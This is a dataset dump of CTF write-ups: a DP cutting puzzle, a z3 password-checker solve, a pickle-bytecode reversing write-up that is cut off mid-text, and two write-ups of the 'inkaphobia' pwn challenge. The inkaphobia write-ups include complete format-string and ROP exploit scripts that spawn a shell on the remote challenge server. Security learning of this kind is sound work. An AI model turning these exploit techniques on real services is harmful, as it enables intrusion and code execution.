text_chunk
stringlengths
151
703k
## CIA### TL;DRUse Dynamic Programming, with a state of `[width, height]` and try all reasonable cuts. ### Short DescriptionRepeatedly cut a bar of choclate, in a way that:1. resulting pieces match one of the given forms2. the waste of those *not* matching is as low as possible Important: Each cut is of the form: Take one piece and cut it with a single straight horizontal or vertical cut into exactly two pieces. Just like breaking the piece of chocolate. ``` _____________| | ||______| || |______||______| || | ||______|______| _____________ <- aa| | ||________| || |____||________| || | ||________|____||_____________|``` ### Insights1. If you look at the final cutting pattern of the chocolate, there is (at least) one cut running entirely from top to bottom or left ro right( line a above). After this cut, there are two pieces, each of which has the same condition on its pattern. (Except for the smallest part)2. When we have two pieces, we can solve them individually and add their waste.3. To compute the waste, we only need the current dimensions of the piece. The history of breaking is unimportant.4. If we do a cut horizontally, one side can have an arbitrary height, but at least one side of the cut (above the red line) has a height that is the sum of some of our given reactangles' heights. (Or to be precise: It is always possible to find a cut like this where no better other option exists. Proof is best done manually on a paper. In short: we can slightly shift the cut position without changing the solution). ### Solution1. Start by computing all possible heights to cut (according to insight 4): 1. create an array `hs` of length `total_height+1` of type boolean. If the value is true, this height is the sum of some heights. 2. Mark `hs[0] = true` (height 0 is assumed to be valid) 3. Take the first rectangle with height `h`, go through the array `hs` and if `hs[i] == true` set `hs[i + h] = true` as well (height `i` is ok, so `i+h` is ok as well. Now all multiples of `h` are marked as valid cuts. 4. Repeat the step (3) with the other rectangles on the same array. 5. We have marked all reasonable cutting heights 6. Run through the array one more time and store all `i`s where `hs[i] == true`. 7. Complexity of this is `O(height * |rectangles|)` 8. Do 1-7 again for the widths2. Now, assume we have a piece of dimensions `r x c`. If this is a valid rectangle already, the waste is 0. Otherwise, we try all possible heights from step 1, cut the piece and find the best solution for both subpieces. Of all those cuts, we take that one with the smallest sum of results of the subpieces. So, cutting at height h wastes: `waste_cut(r, c, cutheight) = waste(height, c) + waste(r - height, c)`. We try all vertical cuts as well. Of all those options, we take the best.3. There is one more important thing: The above is too slow because we compute many piece sizes multiple times. (e.g., a bar of size `3 x 8`is cut into `3 x 4`and `3 x 4`, we only need to compute the result for `3 x 4` once (insight 3). We can store the result and use it later if we come along an identical piece again. -> Memoization / Dynamic Programming. To do so, simply create a large 2-dimensional array `dp`with `r+1` rows and `c+1`columns. `dp[a][b]` is the minimal waste possible for a piece of dimensions `a x b`. Whenever you need to compute a rectangle, check if this is already computed and return it if yes.4. Complexity of this is `O(r x c x (|cut heights| + |cut widths|))`. Side note: If there is a rectangle of very small size, this will be too slow, because `|cut heights|` and `|cut widths|`will be huge. But the server's rectangles had the same magnitude than the chocolate. ### ImplementationI had a python script to communicate with the server and a C++ code to compute the answer (probably not needed, but , well..)This code is only the interesting parts of the C++ code. Note, that I did not implement it recursivly as it is indicated above, but I fill the array `dp` from left upper corner to the lower right corder. In this order, I ensure, that the values I need are already computed beforehand and no check is needed. ```// compute all possible cutting heights. chs is the boolean array// fs[i] is the i'th rectangle. fs[i].first is its height, fs[i].second is its widthfor (int x = 0; x < chs.size() - fs[i].first; x++) if (chs[x]) chs[x+fs[i].first] = true;for (int x = 0; x < cws.size() - fs[i].second; x++) if (cws[x]) cws[x+fs[i].second] = true;``` ```ll solve(ll r, ll c) { // dp is out array. dp[x][y] holds the best value for piece with size x * y (best = minimal waste) // currently, the best option we know is wasting everything: for (ll x = 1; x <= r; x++) for (ll y = 1; y <= c; y++) { dp[x][y] = x * y; } // All pieces matching the rectangles perfectly have zero waste: for (pll p : fs) dp[p.first][p.second] = 0; // Now compute the minimal waste for each possible dimension (x * y) for (ll x = 1; x <= r; x++) for (ll y = 1; y <= c; y++) { // Try all possible vertical cuts for (ll w : cutws) { if (w > y) break; // cuting more than we have // dp[x][y-w] is the best option for the right side (we already computed this and stored it in dp) // dp[x][w] is the best option for the left side (we already computed this and stored it in dp) dp[x][y] = min(dp[x][y], dp[x][y-w] + dp[x][w]); } // Try all possible horizontal cuts for (ll h : cuths) { if (h > x) break; dp[x][y] = min(dp[x][y], dp[h][y] + dp[x-h][y]); } } return dp[r][c];}```
Inkaphobia was a challenge from Imaginary CTF 2021 it is basically a format string vulnerability to exploit remotely the strategy to exploit was to use a stack pointer (reachable with the format string offsets) that points to another stack pointer. with this pointer we modify the next stack pointer, to make it point to '_libc_ret_main_' return address we use this new pointer, to write a one gadget instead of the return address.. I did it in 3 pass... one pass to bruteforce the ASLR, to have an ASLR favorable to us.. (no bad moon rising) when we have a good ASLR we use %*c to read 32bit low on stack address, and write it to the target pointers.. then dump a libc address , and write onto ret address using pwntools format string functions.. see in in action... ![](https://imgur.com/tWBXPgQ.gif) ```pythonfrom pwn import *import syscontext.update(arch="amd64", os="linux")context.log_level = 'error' exe = context.binary = ELF('./inkaphobia')libc = ELF('./libc.so.6') def one_gadget(filename, base_addr=0): return [(int(i)+base_addr) for i in subprocess.check_output(['one_gadget', '--raw', filename]).decode().split(' ')] for j in range(1000): if args.REMOTE: p = connect('chal.imaginaryctf.org', 42008) else: p = process('./inkaphobia') p.recvuntil('service!\n', drop=True) p.sendlineafter('value: ', '1\n1\n1\n1\n1\n1') # pass rng payload = '%c'*71+'%p.'+'%c'*4+'%*c'+'%c'*12+'%65194c'+'%hn'+'%c'*11+'%6c'+'%hhnTOTO' p.sendlineafter('name?\n', payload) try: p.readuntil('0x', drop=True) leak = int(p.readuntil('.', drop=True),16) - 0x270b3 if ((leak & 0xff000000)>>24) > 16: p.close() print(str(j)) continue print('leak ='+hex(leak)) sys.stdout.flush() p.recvuntil('TOTO', drop=True) print('TOTO OK..') p.sendlineafter('value: ', '1\n1\n1\n1\n1\n1') payload = '%153c%105$hhnAAAA%75$pBBBB%77$pCCCC' p.sendlineafter('name?\n', payload) p.readuntil('AAAA', drop=True) libc.address = int(p.readuntil('BBBB', drop=True),16) - 0x270b3 print('libc.base ='+hex(libc.address)) onegadgets = one_gadget('libc.so.6', libc.address) stack = int(p.readuntil('CCCC', drop=True),16) p.sendlineafter('value: ', '1\n1\n1\n1\n1\n1') p.sendlineafter('name?\n', fmtstr_payload(8, {stack - 0xf0: onegadgets[1]})) p.sendline('id;cat flag*') p.interactive() break except: print(str(j)) p.close() p.close()``` *nobodyisnobody still pwning things..*
[Link to original writeup](https://wrecktheline.com/writeups/imaginary-2021/#password%20checker) # Password Checker (15 solves, 450 points)by JaGoTu ## Description```I seem to have forgotten my password. Before I lock myself out, I immediately went to my password checker that I coded, but it amounted to no avail. I guess I will leave it to the experts. Wrap your flag in ictf before submitting. Attachmentshttp://password-checker.chal.imaginaryctf.org AuthorZyphen Points450``` ## Obfuscated JavaScript The site has a single textbox to input the password, and after pressing the button it is checked in JavaScript.The relevant part of the JavaScript after deobfuscation is this: ```JS order = "3|2|0|1|4"["split"]("|"), current_step = 0x0; while ( !! []) { switch (order[current_step++]) { case 0: var checksum = 0x0; continue; case 1: for (var index = 0x0; index < password["length"]; index++) { summed += password["charCodeAt"](index), xored ^= password["charCodeAt"](index), checksum = (checksum << 0x5) - checksum + password["charCodeAt"](index) }; continue; case 2: var xored = 0x0; continue; case 3: var summed = 0x0; continue; case 4: console["log"](summed, xored, checksum); ! /[^ZYPH3NAFUR1GT_BMKLE.0]/ ["test"](password) && summed == 0x7e8 && xored == 0x7e && checksum == -0x28dd475e && password["charCodeAt"](0x0) - password["charCodeAt"](0x1) == 0x1 && Math["floor"](password["charCodeAt"](0x1) * password["charCodeAt"](0x2) * password["charCodeAt"](0x3) / 0x736) == 0x115 && password["charCodeAt"](0x4) + password["charCodeAt"](0x5) - password["charCodeAt"](0x6) + password["charCodeAt"](0x7) == 0x72 && Math["floor"](password["charCodeAt"](0x8) * password["charCodeAt"](0x9) / password["charCodeAt"](0xa) * password["charCodeAt"](0xb)) == 0xcb1 && Math["floor"](password["charCodeAt"](0xd) / password["charCodeAt"](0xc) / password["charCodeAt"](0xe) * password["charCodeAt"](0xf)) == 0x1 && (password["charCodeAt"](0x10) && password["charCodeAt"](0x12) == "ZYPH3NAFUR1GT_BMKLE.0"["length"] << 0x2) && password["charCodeAt"](0x6) == password["charCodeAt"](0x11) && Math["floor"](password["charCodeAt"](0x13) * password["charCodeAt"](0x14) / password["charCodeAt"](0x15)) == 0x2e && password["charCodeAt"](0x16) + password["charCodeAt"](0x17) - password["charCodeAt"](0x18) == 0x74 && password["charCodeAt"](0x19) + password["charCodeAt"](0x1a) + password["charCodeAt"](0x1b) == 0x8a && alert("Congrats!!!"); continue }; break }``` The steps are in order 3-2-0-1-4, so first `summed`, `xored` and `checksum` are inited to zero, then in #1 the values of them are calculated, and then in #4 the actual checking takes place. The conditions mostly just take triplets of characters and check some conditions on them. ## Z3 and guessingThis looks like a task for z3, so we implement all the conditions: ```pyfrom z3 import * chars = []sum = 0xored = 0checksum = 0 s = SolverFor("QF_BV")for i in range(28): curr = BitVec('c' + str(i), 32) chars.append(curr) sum += curr xored ^= curr checksum = 31*checksum + curr lol = (curr == ord('Z')) for c in "YPH3NAFUR1GT_BMKLE.0": lol = Or(lol, curr == ord(c)) s.add(lol) def floor_div(top, bottom, res): s.add(top > bottom*res) s.add(top < bottom*res+bottom) password = chars s.add(sum==0x7e8)s.add(xored == 0x7e)s.add(checksum == 0xD722B8A2)s.add(password[0x0] - password[0x1] == 0x1)floor_div(password[0x1] * password[0x2] * password[0x3], 0x736, 0x115)s.add(password[0x4] + password[0x5] - password[0x6] + password[0x7] == 0x72)floor_div(password[0x8] * password[0x9] * password[0xb], password[0xa], 0xcb1)floor_div(password[0xd]*password[0xf], password[0xc] * password[0xe],1 )s.add(password[0x12] == 84)s.add(password[0x6] == password[0x11])floor_div(password[0x13] * password[0x14], password[0x15], 0x2e)s.add(password[0x16] + password[0x17] - password[0x18] == 0x74)s.add(password[0x19] + password[0x1a] + password[0x1b] == 0x8a) print(s.check())m = s.model() out = ''for i in range(28): out += chr(m[password[i]].as_long()) print(out)``` However, the search space is too large even when using the parallel evaluator ☹. As we mentioned earlier, the characters are mostly conditioned in triplets. So let's try to go fora more guessy approach, just see all the possible triplets and guess the ones that look the most english-y. The last triplet is easy: ```py$ cat test.pyimport syslol = 'ZYPH3NAFUR1GT_BMKLE.0' for a in lol: for b in lol: for c in lol: if ((ord(a)+ord(b)+ord(c))) == 0x8a: print(a+b+c) $ python3 test.py...``` For the second to last triplet we get multiple options:```py$ cat test.pyimport syslol = 'ZYPH3NAFUR1GT_BMKLE.0' for a in lol: for b in lol: for c in lol: if ((ord(a)+ord(b)-ord(c))) == 0x74: print(a+b+c+"...") $ python3 test.pyZH....Z_E...ZM3...ZK1...YN3...YK0...YL1...PU1...PR....PT0...HZ....H_3...NY3...NT....F_1...UP1...UR3...UM....RP....RU3...RR0...TP0...TN...._ZE..._H3..._F1..._E0...MZ3...MU....KZ1...KY0...LY1...E_0...``` After looking at this, the most english-like options are the `RU3...` and `UR3...`. So let's try the previous triplet with both of these: ```pyimport syslol = 'ZYPH3NAFUR1GT_BMKLE.0' for a in lol: for b in lol: for c in lol: if (ord(a)*ord(b)//ord(c)) == 0x2e: print(a+b+c+"UR3...") print(a+b+c+"RU3...")``` Not gonna include the full output, but one of them was `0RTUR3...`, which looks a lot like torture :) so we also guess `_T` before that. Now let's try from the other side: the first three characters are actually a bit special, as the second character is in two conditions, `password["charCodeAt"](0x0) - password["charCodeAt"](0x1) == 0x1` and `Math["floor"](password["charCodeAt"](0x1) * password["charCodeAt"](0x2) * password["charCodeAt"](0x3) / 0x736) == 0x115`. Let's bruteforce both of them at once: ```py$ cat test.pyimport syslol = 'ZYPH3NAFUR1GT_BMKLE.0' for a in lol: if chr(ord(a)-1) in lol: for b in lol: for c in lol: if ((ord(a)-1)*ord(b)*ord(c))//0x736== 0x115: print(a+chr(ord(a)-1)+b+c)$ python3 test.pyZYPHZYHPHGUUHG_LHGL_NMF_NM_FGF_MGFM_MLZKMLG_ML_GMLKZLKZLLKH_LK_HLKLZ``` Hm, one of them is ZYPH, and the author of this challenge is... Zyphen. :) Also, as `password[0x6] == password[0x11]`, we know the 7th character will be '_': ```pyimport syslol = 'ZYPH3NAFUR1GT_BMKLE.0' for a in lol: for b in lol: for c in ['_']: for d in lol: if ((ord(a)+ord(b)-ord(c))+ord(d)) == 0x72: print("ZYPH" + a+b+c+d)``` There's only one result containing ZYPHEN or ZYPH3N, and that is `ZYPH3N_P`.To sum it all up, we know the password looks like the following: `ZYPH3N_P?????????_T0RTUR3...` That should be enough for our Z3 :) Let's add the following to the original script: ```pys.add(password[27] == ord('.'))s.add(password[26] == ord('.'))s.add(password[25] == ord('.'))s.add(password[24] == ord('3'))s.add(password[23] == ord('R'))s.add(password[22] == ord('U'))s.add(password[21] == ord('T'))s.add(password[20] == ord('R'))s.add(password[19] == ord('0'))s.add(password[18] == ord('T'))s.add(password[17] == ord('_')) s.add(password[0] == ord('Z'))s.add(password[1] == ord('Y'))s.add(password[2] == ord('P'))s.add(password[3] == ord('H'))s.add(password[4] == ord('3'))s.add(password[5] == ord('N'))s.add(password[6] == ord('_'))s.add(password[7] == ord('P'))``` And after a while we get the result: ```$ python3 checker.pysatZYPH3N_P1Z_F0RG3T_T0RTUR3..``` The flag is `ictf{ZYPH3N_P1Z_F0RG3T_T0RTUR3...}`.
[Link to original writeup](https://wrecktheline.com/writeups/imaginary-2021/#inkaphobia) # inkaphobia (12 solves, 300 points)by JaGoTu ## Description```Seems that random.org limits how much entropy you can use per day. So why not reuse entropy? Attachments* inkaphobia* libc.so.6 nc chal.imaginaryctf.org 42008 AuthorEth007 Points300``` ## Preparations We are given an **executable ELF file** and the `libc` used on the remote server. If we run the `libc` as an executable it prints out the detailed version number, which can be useful for hunting down the appropriate `ld` and/or figuring out what heap attacks are possible. ```$ file inkaphobiainkaphobia: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=94d52866ffae8870328062ac5dee4cfd5f884469, not stripped $ file libc.so.6libc.so.6: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=099b9225bcb0d019d9d60884be583eb31bb5f44e, for GNU/Linux 3.2.0, stripped $ ./libc.so.6GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.2) stable release version 2.31.Copyright (C) 2020 Free Software Foundation, Inc.This is free software; see the source for copying conditions.There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR APARTICULAR PURPOSE.Compiled by GNU CC version 9.3.0.libc ABIs: UNIQUE IFUNC ABSOLUTEFor bug reporting instructions, please see:<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.``` I'll use pwninit to get the proper `ld`: ```$ pwninit --no-patch-bin --no-template --libc libc.so.6 bin: ./inkaphobialibc: libc.so.6 fetching linkerunstripping libceu-unstrip: cannot find matching section for [16] '.text'eu-unstrip: cannot find matching section for [17] '__libc_freeres_fn'eu-unstrip: cannot find matching section for [18] '.rodata'eu-unstrip: cannot find matching section for [19] '.stapsdt.base'eu-unstrip: cannot find matching section for [20] '.interp'eu-unstrip: cannot find matching section for [21] '.eh_frame_hdr'eu-unstrip: cannot find matching section for [22] '.eh_frame'eu-unstrip: cannot find matching section for [23] '.gcc_except_table'eu-unstrip: cannot find matching section for [24] '.tdata'eu-unstrip: cannot find matching section for [25] '.tbss'eu-unstrip: cannot find matching section for [26] '.init_array'eu-unstrip: cannot find matching section for [27] '.data.rel.ro'eu-unstrip: cannot find matching section for [28] '.dynamic'eu-unstrip: cannot find matching section for [29] '.got'eu-unstrip: cannot find matching section for [30] '.got.plt'eu-unstrip: cannot find matching section for [31] '.data'eu-unstrip: cannot find matching section for [32] '__libc_subfreeres'eu-unstrip: cannot find matching section for [33] '__libc_IO_vtables'eu-unstrip: cannot find matching section for [34] '__libc_atexit'eu-unstrip: cannot find matching section for [35] '.bss'eu-unstrip: cannot find matching section for [36] '__libc_freeres_ptrs'warning: failed unstripping libc: eu-unstrip exited with failure: exit status: 1setting ./ld-2.31.so executable``` The unstripping fails, but that's not a big deal, important is we got the `ld-2.31.so`. After that, I generate my exploit template using `pwn template`: ```$ pwn template --host chal.imaginaryctf.org --port 42008 ./inkaphobia >inkaphobia.py``` And lastly modify it to use the correct `libc`, replacing the line in the generated `start_local` with: ```pyreturn process(['./ld-2.31.so', '--preload', './libc.so.6', './inkaphobia'] + argv, *a, **kw)```` We are now ready to work on the exploit locally: ```$ python3 inkaphobia.py LOCAL[*] '/home/jagotu/ctf/imaginary/inkaphobia' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)[+] Starting local process './ld-2.31.so': pid 2456[*] Switching to interactive modeWelcome to my RNG service!Enter max value: $ 42Random number: 2Enter max value: $ [*] Interrupted``` ## Reversing Throwing the binary into IDA and renaming a few things here and there, we are left with with the following two important methods: ```Cint __cdecl main(int argc, const char **argv, const char **envp){ unsigned int seed; // eax int random_value; // [rsp+Ch] [rbp-214h] BYREF char s[520]; // [rsp+10h] [rbp-210h] BYREF unsigned __int64 v7; // [rsp+218h] [rbp-8h] v7 = __readfsqword(0x28u); setvbuf(_bss_start, 0LL, 2, 0LL); setvbuf(stdin, 0LL, 2, 0LL); mprotect(&abort, 0x2500000uLL, 5); puts("Welcome to my RNG service!"); seed = time(0LL); srand(seed); random_value = rand(); dorng((__int64)&random_value); puts("Thanks for visiting our RNG! What's your name?"); fgets(s, 512, stdin); printf("Thanks for coming, "); printf(s); return 0;} void __fastcall dorng(__int64 a1){ int i; // [rsp+14h] [rbp-21Ch] __int64 v2; // [rsp+18h] [rbp-218h] char s[520]; // [rsp+20h] [rbp-210h] BYREF unsigned __int64 canary; // [rsp+228h] [rbp-8h] canary = __readfsqword(0x28u); for ( i = 0; i <= 5; ++i ) { printf("Enter max value: "); fgets(s, 16, stdin); v2 = atol(s); if ( v2 > 127 || v2 <= 0 ) { puts("Go away."); exit(0); } printf("Random number: %ld\n", a1 % v2); }}``` After some basic `setvbuf` and a weird `mprotect` call (which I have no idea why it's there), a random value gets generated and stored in `random_value`. However, **`dorng` is called with `&random_value`**, a.k.a the pointer to `random_value` and not the generated number itself. The pointer is never dereferenced in `dorng`, so `dorng` allows us to **leak information about a pointer to the stack** ?. After `dorng` happens, there's a `printf` on an arbitrary user string, resulting in a **format string vulnerability** ?. I won't explain in detail how these work, because there's a lot of good material out there, but this bug allows us to do arbitrary reads and writes. ## Plan of attack We can use the `dorng` function to leak `a1 % n` for 6 different values of `n` given they are <= 127. If we choose 6 different big primes, using the **chinese remainder theorem** we can calculate `a1` modulo the product of all the primes. The biggest primes <= 127 are `[101, 103, 107, 109, 113, 127]`, resulting in getting `a1` modulo `101*103*107*109*113*127 = 1741209542339 = 0x195682D1EC3`. As we know stack addresses always begin with `0x7f`, that is enough to get the exact value of the stack pointer. After we have a stack pointer leak, we can find the return address relative to it, and overwrite it with the address of `main`. This way we get unlimited loops of the target. We need at least two loops, cause we will leak the address of `libc` in the first iteration and then overwrite the return address with `one_gadget` in the second iteration. ## Implementation First, let's explain some implementation details: For creating the printf payloads, I use pwntools' `fmtstr_payload`. However, it doesn't support leaking information, only writes. As we need to leak the `libc` at the same time we overwrite the return address, I just duct-taped a prefix and suffix to the generated payload with the correct (hardcoded) offsets. As some `libc` functions expect the stack to be 16-byte aligned (a.k.a the MOVAPS issue), to properly loop we need to add a `ret` gadget call before returning to `main`. The one_gadget I was using was this one: ```0xe6e79 execve("/bin/sh", rsi, rdx)constraints: [rsi] == NULL || rsi == NULL [rdx] == NULL || rdx == NULL``` `rdx` was already NULL, so we just needed to `pop` NULL into `rsi`. Also, the procedure savessomething using an rbp offset, so we need to fix rbp to point somewhere legit. Usually I point it randomly into the `libc` data section, but as we had a stack leak, I just pointer `rbp` back on stack. This is the resulting exploit: ```py#!/usr/bin/env python3# -*- coding: utf-8 -*-# This exploit template was generated via:# $ pwn template --host chal.imaginaryctf.org --port 42008 ./inkaphobiafrom pwn import *from functools import reduceimport math # Set up pwntools for the correct architectureexe = context.binary = ELF('./inkaphobia') # Many built-in settings can be controlled on the command-line and show up# in "args". For example, to dump all data sent/received, and disable ASLR# for all created processes...# ./exploit.py DEBUG NOASLR# ./exploit.py GDB HOST=example.com PORT=4141host = args.HOST or 'chal.imaginaryctf.org'port = int(args.PORT or 42008) def start_local(argv=[], *a, **kw): '''Execute the target binary locally''' if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) else: return process(['./ld-2.31.so', '--preload', './libc.so.6', './inkaphobia'] + argv, *a, **kw) def start_remote(argv=[], *a, **kw): '''Connect to the process on the remote host''' io = connect(host, port) if args.GDB: gdb.attach(io, gdbscript=gdbscript) return io def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.LOCAL: return start_local(argv, *a, **kw) else: return start_remote(argv, *a, **kw) # Specify your GDB script here for debugging# GDB will be launched if the exploit is run via e.g.# ./exploit.py GDBgdbscript = '''tbreak maincontinue'''.format(**locals()) #===========================================================# EXPLOIT GOES HERE#===========================================================# Arch: amd64-64-little# RELRO: Full RELRO# Stack: Canary found# NX: NX enabled# PIE: No PIE (0x400000) def chinese_remainder(n, a): sum=0 prod=reduce(lambda a, b: a*b, n) for n_i, a_i in zip(n,a): p=prod//n_i sum += a_i* mul_inv(p, n_i)*p return sum % proddef mul_inv(a, b): b0= b x0, x1= 0,1 if b== 1: return 1 while a>1 : q=a// b a, b= b, a%b x0, x1=x1 -q *x0, x0 if x1<0 : x1+= b0 return x1 def leak_stack(): a = [] n = [ 101, 103, 107, 109, 113, 127,] for i in n: io.sendlineafter(b'value:', str(i).encode()) io.recvuntil(b'number: ') a.append(int(io.recvline().strip())) mod = chinese_remainder(n,a) total = math.prod(n) res = mod while res < 0x7f0000000000: res += total return res def exec_fmt(payload): io.sendlineafter('?', payload) io.recvuntil(b"coming, ") return io.recvuntil(b"Welc")[4:] libc = ELF('./libc.so.6')ret_gadget = 0x4006de offset = 8 io = start() #1. leak libc and ret back to mainstack = leak_stack()ret = stack + 0x21Cpayload = b"AAAAAAAAAAAAAAAAAAAAAAAAAA%22$6s" + fmtstr_payload(offset+4, { ret: ret_gadget, ret+8: exe.symbols['main']}, numbwritten=32) + p64(exe.got['printf'])printf_leak = u64(exec_fmt(payload)[22:22+6].ljust(8, b'\x00'))libc.address= printf_leak - libc.symbols['printf'] pop_rsi = libc.address + 0x27529pop_rbp = libc.address + 0x256c0one_gadget = libc.address + 0xe6e79 #2. fix rsi and rbp, ret to one_gadgetstack = leak_stack()ret = stack + 0x21Cpayload = fmtstr_payload(offset, { ret: pop_rsi, ret+8: 0, ret+16: pop_rbp, ret+24: stack, ret+32: one_gadget }) io.sendlineafter('?', payload)io.recvuntil(b"coming, ") io.interactive()``` ## Flag ```$ python3 inkaphobia.py [*] '/home/jagotu/ctf/imaginary/inkaphobia' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)[*] '/home/jagotu/ctf/imaginary/libc.so.6' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled[+] Opening connection to chal.imaginaryctf.org on port 42008: Done/usr/local/lib/python3.9/dist-packages/pwnlib/tubes/tube.py:822: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes res = self.recvuntil(delim, timeout=timeout)[*] Switching to interactive mode\xa0 \x00 \x00 \x13 A A % 7 l 9 % 4 6 n h 4caaaap\xab0\x05\x7f$ iduid=1000 gid=1000 groups=1000$ cat flag.txtictf{th3_3ntr0py_th13f_str1k3s!_38ba8f19}$ [*] Interrupted[*] Closed connection to chal.imaginaryctf.org port 42008```
Pickled Onions was a reversing challenge where we are given a small Python file that loads a [pickle](https://docs.python.org/3/library/pickle.html) object, and checks a flag that we input. It turns out to be a nested, self-unpacking program written in the Pickle bytecode language. ## Stage 1 The initial challenge file looks like this: ```python__import__('pickle').loads(b'(I128\nI4\nI99\n...\x85R\x85R.')``` When we run it: ```What is the flag? testNope!``` Pickle is a Python standard module allowing serialization of objects. Pickled objects can define a routine used while unpickling, and this code is included in the pickled string. The bytecode language seems to be a subset of Python. It is stack based, with some 'memo' slots for more persistent storage, and can build dicts, tuples and call functions. While researching, I found the `pickletools` module, which allows us to disassemble a pickle string, and optionally annotate the meaning of each opcode. We will begin by disassembling the bytecode. ```>>> pickletools.dis(challenge, annotate=30) 0: ( MARK Push markobject onto the stack. 1: I INT 128 Push an integer or bool. 6: I INT 4 Push an integer or bool. 9: I INT 99 Push an integer or bool. 13: I INT 112 Push an integer or bool. 18: I INT 105 Push an integer or bool. 23: I INT 99 Push an integer or bool. 27: I INT 107 Push an integer or bool. 32: I INT 108 Push an integer or bool. 37: I INT 101 Push an integer or bool. 42: I INT 10 Push an integer or bool. 46: I INT 105 Push an integer or bool. 51: I INT 111 Push an integer or bool. 56: I INT 10 Push an integer or bool. 60: I INT 40 Push an integer or bool. 64: I INT 140 Push an integer or bool. 69: I INT 18 Push an integer or bool.[ ... ]544273: t TUPLE (MARK at 0) Build a tuple out of the topmost stack slice, after markobject.544274: p PUT 69420 Store the stack top into the memo. The stack is not popped.544281: c GLOBAL 'pickle loads' Push a global object (module.attr) on the stack.544295: c GLOBAL 'builtins bytes' Push a global object (module.attr) on the stack.544311: g GET 69420 Read an object from the memo and push it on the stack.544318: \x85 TUPLE1 Build a one-tuple out of the topmost item on the stack.544319: R REDUCE Push an object built from a callable and an argument tuple.544320: \x85 TUPLE1 Build a one-tuple out of the topmost item on the stack.544321: R REDUCE Push an object built from a callable and an argument tuple.544322: . STOP Stop the unpickling machine.``` When unpickled, this string pushes thousands of `int`s to the stack, then builds a `tuple` out of them, storing it at memo position `69420`. It then loads the `bytes` function, converting the tuple into a `bytestring`, then calls `pickle.loads` on it. We can deduce that the integers pushed are another pickled object, and extract it. ## Stage 2 The stage2 pickle code is much more complex. it pushes a number of constants, which themselves appear to be more nested pickles, and a number of names such as `pickledgreekoregano`. It then builds these all into a dict, and calls input with the `What is the flag?` prompt. At this point I was stuck for a while, as I wasn't able to follow the sequence of operations. Luckily, my teammate discovered [Fickling](https://github.com/trailofbits/fickling), a module written by TrailOfBits (coincidentally, a sponsor of RedPwnCTF). This module can disassemble a pickle into a Python [AST](https://docs.python.org/3/library/ast.html) - and the built-in `unparse` function can transform the AST into something resembling valid Python source code. Fickling didn't have support for the `INT` and `DICT` opcodes, so I patched these in: ```diffdiff --git a/fickling/pickle.py b/fickling/pickle.pyindex ab62566..3eb46c4 100644--- a/fickling/pickle.py+++ b/fickling/pickle.py@@ -162,6 +162,10 @@ class ConstantOpcode(Opcode): interpreter.stack.append(make_constant(self.arg)) +class Int(ConstantOpcode):+ name = "INT"++ class StackSliceOpcode(Opcode): def run(self, interpreter: "Interpreter", stack_slice: List[ast.expr]): raise NotImplementedError(f"{self.__class__.__name__} must implement run()")@@ -743,6 +747,18 @@ class Tuple(StackSliceOpcode): interpreter.stack.append(ast.Tuple(tuple(stack_slice), ast.Load())) +class Dict(StackSliceOpcode):+ name = "DICT"++ def run(self, interpreter: Interpreter, stack_slice: List[ast.expr]):+ k = list()+ v = list()+ for i in range(0, len(stack_slice), 2):+ k.append(stack_slice[i])+ v.append(stack_slice[i+1])+ interpreter.stack.append(ast.Dict(k, v))++ class Build(Opcode): name = "BUILD"``` Here was the result: ```pyfrom pickle import iofrom builtins import input_var0 = input('What is the flag? ')_var1 = io_var1.__setstate__({'pickledhorseradish': b'\x80\x04cpickle\nio\ncio\npickledmacadamia.__add__\ncio\npickledbarberry\n\x85R.', 'pickledcoconut': b'\x80\x04cpickle\nio\ncio\npickledmacadamia.__sub__\ncio\npickledbarberry\n\x85R.', 'pickledlychee': b'\x80\x04cpickle\nio\ncio\npickledmacadamia.__xor__\ncio\npickledbarberry\n\x85R.', 'pickledcrabapple': b'\x80\x04cpickle\nio\ncio\npickledmacadamia.__eq__\ncio\npickledbarberry\n\x85R.', 'pickledportabella': b'\x80\x04cpickle\nio\ncio\npickledmacadamia.__ne__\ncio\npickledbarberry\n\x85R.', 'pickledquince': b'\x80\x04cpickle\nio\ncio\npickledmacadamia.__le__\ncio\npickledbarberry\n\x85R.', 'pickledeasternmayhawthorn': b'\x80\x04cpickle\nio\ncio\npickledmacadamia.__ge__\ncio\npickledbarberry\n\x85R.', 'pickledmonstera': b'I1\n.', 'pickledcorneliancherry': b'I0\n.', 'pickledalligatorapple': b'\x80\x04I', 'pickledboysenberry': <VERY VERY LONG PICKLED DATA> 'pickledgreekoregano': '\nI', 'pickledpupunha': ('Nope!', 'Correct!'), 'pickledximenia': _var0, 'pickledgarlic': ('pickledcorneliancherry', 'pickledboysenberry')})from io import pickledximenia.__len___var2 = pickledximenia.__len__()from io import pickledximenia.encode_var3 = pickledximenia.encode()_var4 = _var1_var4.__setstate__({'pickledburmesegrape': _var2, 'pickledximenia': _var3})from builtins import printfrom io import pickledpupunha.__getitem__from pickle import loadsfrom io import pickledgarlic.__getitem__from io import pickledburmesegrape.__eq___var5 = pickledburmesegrape.__eq__(64)_var6 = pickledgarlic.__getitem__(_var5)from io import _var6_var7 = loads(_var6)_var8 = pickledpupunha.__getitem__(_var7)_var9 = print(_var8)result = _var9``` At first it may not be immediately obvious what this is doing, but if we follow it through it begins to make sense. We see `pickle.io` is assigned to var1, which then has `__setstate__` called upon it. `setstate` assigns each key/value pair as a property of `pickle.io` - this is so these constant strings are added to the `io` module, and can be accessed later on. We can rewrite this as regular Python: ```pythonflag = input("What is the flag? ")io.pickledhorseradish = '\x80\x04cpickle\nio\ncio\npickledmacadamia.__add__\ncio\npickledbarberry\n\x85R.'io.pickledcoconut = 